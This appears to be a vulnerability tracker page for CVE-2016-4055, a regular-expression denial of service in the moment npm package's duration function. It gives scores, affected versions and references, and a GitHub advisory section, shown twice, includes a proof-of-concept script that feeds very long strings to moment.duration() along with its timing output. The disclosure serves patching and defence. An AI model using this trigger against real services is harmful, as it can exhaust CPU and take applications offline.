CVE-2016-4055
Regular Expression Denial of Service in moment
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
NVD Score used
6.5
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
- Record
CVE-2016-4055- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 7.8 High
AV:N/AC:L/Au:N/C:N/I:N/A:C - Weakness
- CWE-400
- Updated
- 2026-11-02
CVE List No score
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
- Record
CVE-2016-4055- Updated
- 2026-11-02
EUVDEUVD-2017-0191 No score
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
- Record
EUVD-2017-0191- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-87vv-r9j6-g5qv
6.5
Regular Expression Denial of Service in moment
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
- Record
GHSA-87vv-r9j6-g5qv- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSV
6.5
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
- Record
CVE-2016-4055- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVDEBIAN-CVE-2016-4055
6.5
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
- Record
DEBIAN-CVE-2016-4055- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-87vv-r9j6-g5qv
6.5
Regular Expression Denial of Service in moment
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
- Record
GHSA-87vv-r9j6-g5qv- CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2016-4055
6.5
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
- Record
UBUNTU-CVE-2016-4055- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - CVSS 3.0
- 6.5 Medium
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1773101684 No score
TuxCare security update for moment (3 CVEs)
TuxCare rebuilt moment to address 3 CVEs. Fixed in 2.10.6-tuxcare.1.
- Record
CLSA-2026-1773101684- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2016-4055 No score
CVE-2016-4055 in @rootio/moment - Patched by Root
Root has patched CVE-2016-4055 in the @rootio/moment package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2016-4055- Updated
- 2026-11-02
OSVUSN-4786-1 No score
node-moment vulnerabilities
It was discovered that Moment.js mishandled certain regular expressions. An attacker could use this vulnerability to cause a denial of service.
- Record
USN-4786-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
momentnpm |
before 2.11.2 | 2.11.2 |
momentTuxCare:npm |
2.10.6-tuxcare.0 up to 2.10.6-tuxcare.1, plus listed versions 2.10.6 |
2.10.6-tuxcare.1 |
node-momentDebian:12 |
before 2.13.0+ds-1 | 2.13.0+ds-1 |
node-momentDebian:13 |
before 2.13.0+ds-1 | 2.13.0+ds-1 |
node-momentDebian:14 |
before 2.13.0+ds-1 | 2.13.0+ds-1 |
@rootio/momentRoot:npm |
before 2.0.0-root.io.3 | 2.0.0-root.io.32.0.0-root.io.4 |
momentRoot:npm |
before 2.0.0-aikido.4 | 2.0.0-aikido.4 |
node-momentUbuntu:Pro:16.04:LTS |
before 2.11.0+ds-1ubuntu0.1~esm1, plus listed versions 2.10.6+dfsg-12.11.0+ds-1 |
2.11.0+ds-1ubuntu0.1~esm1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2016-4055 is a medium vulnerability (CVSS 6.5) in Momentjs Moment, published January 23, 2017. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 9.90%, the 95th percentile. Fixed in moment 2.11.2.
References
oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
nodesecurity.io/advisories/55
openwall.com/lists/oss-security/2016/04/20/11
securityfocus.com/bid/95849
tenable.com/security/tns-2019-02
lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3E
Show 16 moreShow less
lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3E
lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3E
lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3E
nvd.nist.gov/vuln/detail/CVE-2016-4055
github.com/advisories/GHSA-87vv-r9j6-g5qv
npmjs.com/advisories/55
lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E
lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E
lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E
lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E
security-tracker.debian.org/tracker/CVE-2016-4055
github.com/moment/moment
ubuntu.com/security/CVE-2016-4055
cve.org/CVERecord?id=CVE-2016-4055
ubuntu.com/security/notices/USN-4786-1
ubuntu.com/security/CVE-2017-18214